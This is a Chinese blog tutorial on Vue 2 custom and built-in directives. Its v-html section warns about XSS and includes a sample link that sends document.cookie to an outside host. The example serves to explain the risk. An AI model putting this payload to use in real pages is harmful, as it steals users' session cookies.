自定义指令

已于 2023-07-04 16:11:24 修改
阅读量144 收藏
点赞数
分类专栏： Vue2+Vue3 文章标签： vue.js 前端 javascript
于 2023-06-27 17:24:24 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_41549971/article/details/131411065
版权

文章目录

一、介绍

Vue.js 允许开发者自定义指令，以便在模板中的 DOM 元素上绑定自定义行为。自定义指令可以用来封装常见的 DOM 操作，比如设置元素的样式、添加事件监听器、自动聚焦等等。指令使用 v- 前缀，例如 v-my-directive。

二、定义语法

1. 全局和局部指令

(1).局部指令：
new Vue({
directives:{指令名:配置对象} 或
// directives{指令名:回调函数}
})

<!-- 准备好一个容器-->
<div id="root">
	<h2>放大10倍后的n值是：<span v-big-number="n"></span> 
	<hr/>
	<input type="text" v-fbind:value="n">
</div>
<!-- 局部自定义指令->
new Vue({
			el:'#root',
			data:{
				name:'测试',
				n:1
			},
			directives:{
			
需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。	

			// 指令名:配置对象
				fbind:{ 
					//指令与元素成功绑定时（一上来）
					bind(element,binding){ //真实的元素, 获取到绑定值相关
						element.value = binding.value  //拿到值
					},
					//指令所在元素被插入页面时
					inserted(element,binding){ //真实的元素, 获取到绑定值相关
						element.focus()    //获取焦点
					},
					//指令所在的模板被重新解析时
					update(element,binding){ //真实的元素, 获取到绑定值相关
						element.value = binding.value
					}
				}

需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。

	//big函数何时会被调用？
	    //1.指令与元素成功绑定时（一上来）。
		//2.指令所在的模板被重新解析时。
		// 指令名:回调函数
		/*
			'big-number':function(element,binding){  //真实的元素, 获取到绑定值相关
			// console.log('big')
			element.innerText = binding.value * 10
		}, 
		*/
		
		'big-number'(element,binding){ //真实的元素, 获取到绑定值相关
			// console.log('big')
			element.innerText = binding.value * 10
		}, 
				
			}
		})

(2).全局指令：
Vue.directive(指令名,配置对象) 或
// Vue.directive(指令名,回调函数)

<div id="root">
	<input type="text" v-fbind:value="n">
</div>
 //定义全局指令
	Vue.directive('fbind',{
		//指令与元素成功绑定时（一上来）
		bind(element,binding){ //真实的元素, 获取到绑定值相关
			element.value = binding.value
		},
		//指令所在元素被插入页面时
		inserted(element,binding){ //真实的元素, 获取到绑定值相关
			element.focus()
		},
		//指令所在的模板被重新解析时
		update(element,binding){ //真实的元素, 获取到绑定值相关
			element.value = binding.value
		}
	})

2. 配置对象中常用的3个回调

(1).bind：指令与元素成功绑定时调用。
(2).inserted：指令所在元素被插入页面时调用。
(3).update：指令所在模板结构被重新解析时调用。

3. 备注

1.指令定义时不加v-，但使用时要加v-；
2.指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名
3.指令里面的this，默认指向的是window

三、 创建自定义指令的步骤

  1. 使用 Vue.directive 方法创建一个全局指令或一个局部指令。
// 全局指令
Vue.directive('my-directive', {
  // 指令选项
})

// 局部指令
new Vue({
  directives: {
    'my-local-directive': {
      // 指令选项
    }
  }
})
  1. 在指令选项中定义 bind、inserted、update、componentUpdated 和 unbind 等钩子函数，这些钩子函数会在指令绑定到元素、元素插入到 DOM、元素更新、组件更新和指令从元素上解绑时被调用。
Vue.directive('my-directive', {
  bind: function (el, binding, vnode) {
    // 指令绑定时调用
  },
  inserted: function (el, binding, vnode) {
    // 元素插入到 DOM 时调用
  },
  update: function (el, binding, vnode, oldVnode) {
    // 元素更新时调用
  },
  componentUpdated: function (el, binding, vnode, oldVnode) {
    // 组件更新时调用
  },
  unbind: function (el, binding, vnode) {
    // 指令从元素上解绑时调用
  }
})
  1. 在钩子函数中执行指令的具体操作。例如，在 bind 钩子函数中设置样式，如下所示：
Vue.directive('my-directive', {
  bind: function (el, binding, vnode) {
    el.style.backgroundColor = binding.value
  }
})
  1. 在模板中使用指令。例如：
<div v-my-directive="'red'">Hello World!</div>

注意，指令的值可以是字符串、数字、布尔值、对象、数组、函数等任何 JavaScript 类型，具体使用上要根据指令的实现方式和需求决定。

四、 自定义指令实现限制输入数字和小数点的例子

Vue.directive('number', {
  bind: function (el) {
    // 只允许输入数字和小数点
    el.addEventListener('keypress', function (event) {
      var key = event.which;
      if (key !== 46 && key > 31 && (key < 48 || key > 57)) {
        event.preventDefault();
      }
    });
    // 限制只能有一个小数点
    el.addEventListener('keyup', function (event) {
      var value = el.value;
      var index = value.indexOf('.');
      if (index !== -1 && value.lastIndexOf('.') !== index) {
        el.value = value.slice(0, index + 1) + value.slice(index).replace(/\./g, '');
      }
    });
  },
});

使用自定义指令的方式：在模板中使用v-指令名称，如下：

<input type="text" v-number>

以上就是使用 Vue.js 自定义指令的基本步骤。

五、拓展（内置指令）

Vue模板语法有2大类：

1.插值语法：

功能：用于解析标签体内容。
写法：{{xxx}}，xxx是js表达式，且可以直接读取到data中的所有属性。

2.指令语法：

功能：用于解析标签（包括：标签属性、标签体内容、绑定事件…）。
举例：v-bind:href=“xxx” 或 简写为 :href=“xxx”，xxx同样要写js表达式，
且可以直接读取到data中的所有属性。
备注：Vue中有很多的指令，且形式都是：v-???，此处我们只是拿v-bind举个例子。

1. 常见指令

v-bind	: 单向绑定解析表达式, 可简写为 :xxx
v-model	: 双向数据绑定
v-for  	: 遍历数组/对象/字符串
v-on   	: 绑定事件监听, 可简写为@
v-if 	 	: 条件渲染（动态控制节点是否存存在）
v-else 	: 条件渲染（动态控制节点是否存存在）
v-show 	: 条件渲染 (动态控制节点是否展示)

2. v-text指令

1.作用：向其所在的节点中渲染文本内容。
2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-text指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好，{{name}}</div>
			<div v-text="name"></div>
			<div v-text="str"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		new Vue({
			el:'#root',
			data:{
				name:'admin',
				str:'<h3>你好啊！</h3>'
			}
		})
	</script>
</html>

3. v-html指令

1.作用：向指定节点中渲染包含html结构的内容。

2.与插值语法的区别：
(1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
(2).v-html可以识别html结构。

3.严重注意：v-html有安全性问题！！！！
(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好，{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		new Vue({
			el:'#root',
			data:{
				name:'admin',
				str:'<h3>你好啊！</h3>',
				str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>跳转</a>',
			}
		})
	</script>
</html>

4. v-cloak指令（没有值）

1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			[v-cloak]{
				display:none;
			}
		</style>
		<!-- 引入Vue -->
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'admin'
			}
		})
	</script>
</html>

5. v-once指令

1.v-once所在节点在初次动态渲染后，就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-once指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-once>初始化的n值是:{{n}}</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

6. v-pre指令

1.跳过其所在节点的编译过程。
2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-pre>Vue其实很简单</h2>
			<h2 >当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

7. 一个Dom操作

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Document</title>
		<style>
			.demo{
				background-color: orange;
			}
		</style>
	</head>
	<body>
		<button id="btn">点我创建一个输入框</button>
	//	创建input，设置样式，初始值，时间，以及默认选中
		<script type="text/javascript" >
			const btn = document.getElementById('btn')
			btn.onclick = ()=>{
				const input = document.createElement('input')
				input.className = 'demo'
				input.value = 99
				input.onclick = ()=>{alert(1)}
				document.body.appendChild(input)
				input.focus()
				//设置父级元素的背景色
				// input.parentElement.style.backgroundColor = 'skyblue'
				console.log(input.parentElement)
			}
		</script>
	</body>
</html>
小白_ysf
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Vue自定义指令详解
08-29
Vue自定义指令详解 在Vue.js中，自定义指令是一种强大的机制，允许开发者将数据的变化映射为DOM行为。下面，我们将详细介绍Vue自定义指令的相关知识点。 注册自定义指令 在Vue.js中，可以使用`directive`方法注册...
Angular的自定义指令以及实例
08-31
在Angular开发中，自定义指令是扩展框架功能和创建可重用组件的关键工具。通过自定义指令，开发者能够实现特定的交互逻辑或视图呈现方式，以满足项目的独特需求。本文将深入探讨Angular中的自定义指令及其应用实例。...
vue自定义指令如何使用和优化
qq_52940025的博客
05-18 198
vue指令的使用和封装
[Vue]自定义指令
emmmm.....
10-10 3170
1. 自定义指令 1.1 语法 1.2 自定义指令的参数 2. 自定义指令实现数值放大10倍 2.1 查看自定义指令的参数 2.2 需求的实现 2.3 自定义指令调用的时机 2.3.1 指令与元素成功绑定时（初始化页面） 2.3.2 所在的模板被重新解析时 3. 自定义指令让其所绑定的input元素默认获取焦点 3.1 需求实现 3.2 需求未实现的解释 3.3 对象形式自定义指令 3.4 对象形式自定义指令实现需求 4. 自定义指令注意点 4.1 指令名多个单词之间使用短线符连接 4.2 自定义指令中的t
vue自定义指令
热门推荐
酷爱前端的小陈博客
05-04 2万+
1. 什么是自定义指令 vue 官方提供了v-text、v-for、v-model、v-if 等常用的指令。除此之外vue 还允许开发者自定义指令。 2. 自定义指令的分类 vue 中的自定义指令分为两类，分别是： 私有自定义指令 全局自定义指令 3. 私有自定义指令 在每个vue 组件中，可以在directives 节点下声明私有自定义指令。示例代码如下： 4. 使用自定义指令 在使用自定义指令时，需要加上v- 前缀。示例代码如下： 5. 为自定义指令动态绑定参数值 .
Vue自定义指令
qq_46149597的博客
11-05 1万+
Vue自定义指令，全局、局部自定义指令，指令定义对象的钩子函数，自定义指令的绑定值
vue中的自定义指令
无远弗届
06-16 1258
Vue自定义指令提供了一种强大的方法来扩展Vue的功能。它们允许开发者直接对DOM元素进行低层次操作，而无需编写大量的模板或者JavaScript代码。自定义指令可以响应Vue的响应式系统，从而在数据变化时触发相应的DOM更新。Vue提供了一些内置指令，如v-modelv-ifv-for等，它们已经覆盖了很多常见的场景。然而，内置指令的功能是有限的，自定义指令则提供了更多的灵活性和控制力。动画和过渡：实现复杂的动画效果。DOM操作：在不使用额外库的情况下，直接操作DOM。表单验证。
Vue之自定义指令
知识应该共享，创造才应收费
04-09 474
通过前面的学习，我们都有了一定的Vue知识，我们都知道可以在Vue实例创建后，在template标签中写我们的界面，当我们需要控制某个dom元素的显示或者隐藏时，我们可以使用v-if指令。循环打印一个列表时，我们可以使用v-for指令等…,然而这些指令都是Vue给我们提供的，我们其实可以自己定义我们的指令，其实我理解这个自定义指令就是把某个功能做一个封装，以这个指令提供给调用者使用。减少相同代码的重复编写。在Vue中，自定义指令可以有全局定义和局部定义两种方式，下面我们一起看下如何定义自定义指令
vue3 自定义指令
qq_39194983的博客
06-16 1070
vue3 使用自定义指令
Vue的自定义指令
m0_67584973的博客
05-28 897
带你了解Vue的自定义指令以及如何局部注册和全局注册自定义指令。
vue 自定义指令
似水流年QC的博客
07-03 1189
在vue中提供了一套为数据驱动视图更为方便的操作，这些操作被称为指令系统，我们看到的v-开头的行内属性，都是指令，不同的指令可以完成或实现不同的功能，除了核心功能默认内置的指令 (v-model 和 v-show)，Vue 也允许注册自定义指令。常见的vue内置指令有：v-if，v-show，v-for，v-bind，v-model 等。Vue的指令以v-开头，作用在HTML元素上，将指令绑定在元素上，给绑定的元素添加一些特殊行为。以 v-if 为例，其中，v- 是Vue的标识，if是指令 ID。
vue自定义指令实现方法详解
10-17
在Vue中，自定义指令（Custom Directives）是一个强大的特性，它允许我们扩展Vue的内置指令，如v-on、v-bind等，来实现更复杂的DOM操作。下面我们将详细探讨Vue自定义指令的定义、注册和使用方法。 ### 一、定义...
Vue自定义指令封装节流函数的方法示例
08-27
Vue自定义指令封装节流函数的方法示例 今天，我们来讨论 Vue 自定义指令封装节流函数的方法示例。节流函数是一种常用的前端开发技术，用于避免过多的性能消耗。在《JavaScript高级程序设计》一书中，就有一个典型的...
谷粒商城实战笔记-38-前端基础-Vue-指令-单向绑定&双向绑定
epitomizelu的专栏
07-20 1009
安全性v-text更安全，因为它总是将数据作为纯文本插入，不解析 HTML。v-html则可能引发安全问题，因为它会解析并渲染 HTML 标签。用途v-text适用于插入文本数据，而v-html适用于插入需要被解析为实际 HTML 的数据。处理 HTML 标签v-text忽略 HTML 标签，将其视为普通文本；v-html则会解析并显示 HTML 标签。二者都是单向绑定，元素绑定model，model不绑定元素，元素值改变时model值不会更新。
Vue 3 和 SpringBoot 实现文件分片上传示例
最新发布
exlink2012的专栏
07-22 401
实现分片上传，并使用Spring Boot在后端保存文件。前端将文件分片并逐个上传到后端，后端接收到所有分片后再进行合并，最终保存为一个完整文件。
vue图片存放在public目录和src/assets目录下的区别
Zing_ing的博客
07-19 625
使用随时要更换的图片，有更新动态显示的需求，像banner、轮播、广告、展示性等大型图片放在public下比较合适；而一些icon、精灵图、雪碧图更适合放在assets下。如果图片不需要被处理，比如网站的结构用图，如logo图片，则放public中，否则如内容图片或者需要被构建为base64的小图标可以放assets中。
(vue3)el-table滚到底部加载数据el-table-infinite-scroll
weixin_63442947的博客
07-19 261
el-table实现。
谷粒商城实战笔记-39-前端基础-Vue-指令-v-on、v-for、v-if
epitomizelu的专栏
07-20 994
v-on 是 Vue.js 中的一个指令，用于在 DOM 元素上监听用户事件，并在事件触发时执行相应的 JavaScript 函数。它提供了一种将 Vue 实例中的方法与 DOM 事件关联起来的方式，使得你可以轻松地对用户交互做出响应。v-on 指令的基本语法是在元素上添加 v-on:event-name=“method”，其中 event-name 是你要监听的 DOM 事件类型（如 click、mouseover、keydown 等），method 则是 Vue 实例中定义的方法名。
uniapp 自定义指令
08-18
在 Uniapp 中，可以通过自定义指令来扩展和定制 Vue 模板编译器的行为。自定义指令可以用于在模板中添加一些特殊的行为或逻辑。 要创建一个自定义指令，需要在 Uniapp 项目中的 `main.js` 文件中注册它。下面是一个简单的示例： ```javascript // main.js import Vue from 'vue' // 注册自定义指令 Vue.directive('myDirective', { bind: function (el, binding, vnode) { // 指令绑定时的处理逻辑 // el 是绑定指令的元素 // binding 是一个对象，包含了指令的相关信息 // vnode 是 Vue 编译生成的虚拟节点 }, update: function (el, binding, vnode, oldVnode) { // 指令更新时的处理逻辑 // el 是绑定指令的元素 // binding 是一个对象，包含了指令的相关信息 // vnode 是 Vue 编译生成的虚拟节点 // oldVnode 是更新前的虚拟节点 }, unbind: function (el, binding, vnode) { // 指令解绑时的处理逻辑 // el 是绑定指令的元素 // binding 是一个对象，包含了指令的相关信息 // vnode 是 Vue 编译生成的虚拟节点 } }) ``` 在上面的示例中，我们使用 `Vue.directive` 方法注册了一个名为 `myDirective` 的自定义指令。指令对象包含了几个生命周期钩子函数，如 `bind`、`update` 和 `unbind`。通过这些钩子函数，可以在不同的阶段处理指令的逻辑。 在模板中使用自定义指令时，可以通过 v- 前缀来指定指令的名称。例如： ```html <template> <div v-myDirective></div> </template> ``` 以上就是在 Uniapp 中创建自定义指令的基本步骤。你可以根据具体需求在钩子函数中编写自定义指令的逻辑。希望对你有所帮助！如果还有其他问题，请继续提问。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值